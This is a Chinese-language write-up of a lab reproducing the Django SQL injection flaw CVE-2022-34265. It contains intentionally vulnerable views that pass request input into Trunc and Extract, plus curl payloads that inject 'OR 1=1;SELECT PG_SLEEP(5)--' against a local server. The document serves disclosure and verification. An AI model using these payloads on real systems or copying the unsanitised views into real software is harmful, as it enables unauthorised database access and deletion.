启动
docker-compose build
docker-compose up -d
停止
docker-compose down
Django 中的一个漏洞(CVE-2022-34265)于 2022 年 7 月 5 日(美国时间)公开。本文介绍我们对该漏洞的讨论以及验证结果。
该漏洞是由于 Django 中对用于日期数据的函数 Trunc 和 Extract 的参数执行 SQL 时,字符串处理不当所致。如果将请求参数直接指定为 Trunc 的 kind 参数或 Extract 的 lookup_name 参数,则存在执行任意 SQL 片段的风险。
利用该漏洞,第三方可以向数据库发送命令,以访问未经授权的数据或删除数据库。
过去在 Django 中发现的许多漏洞都是 SQL 注入漏洞,我们想知道是否还存在其他类似 CVE-2020-7471 的漏洞,于是我们逐一检查了数据库函数参数,发现了一些未被净化的参数,Takuto Yoshikai(作者)将此报告给了 IPA 和 Django 开发团队。
结果,在解决 CVE-2022-34265 的版本中
已采取以下措施来解决这些问题。
vuln/models.py
我们使用了 Django 文档 中的示例,即用于记录日期开始和结束时间的表模型。
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
这会筛选出 Experiment 的 start_datetime 列中,与 end_datetime 的年、月、日、时、分、秒等相同的年份数字。SQL 注入漏洞可能会从这里触发。
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Trunc 函数用于截断日期和时间数据中特定的年、月、日、时、分、秒等部分。 在上述示例中,start_datetime 与截断掉 payload 部分后的 start_datetime 是相同的记录。 这就是 SQL 注入漏洞可能被触发的地方。
为了验证攻击是否成功,使用 PG_SLEEP 指令来观察响应返回的时间是否存在延迟。
# 正常 URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# 可执行数据库指令的 URL
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
我在 PG_SLEEP 中指定了 5 秒,但 PG_SLEEP(5) 似乎需要几秒钟的时间。根据实现和具体情况,它似乎会被调用数秒。 由于可以执行任意 SQL 语句,因此诸如删除数据库之类的危险攻击是可能发生的。
经过我们的讨论和验证,我们发现根据实现方式的不同,攻击成功的可能性并非没有。我们建议您尽快更新系统,以避免在最坏情况下发生 DROP TABLE 的风险。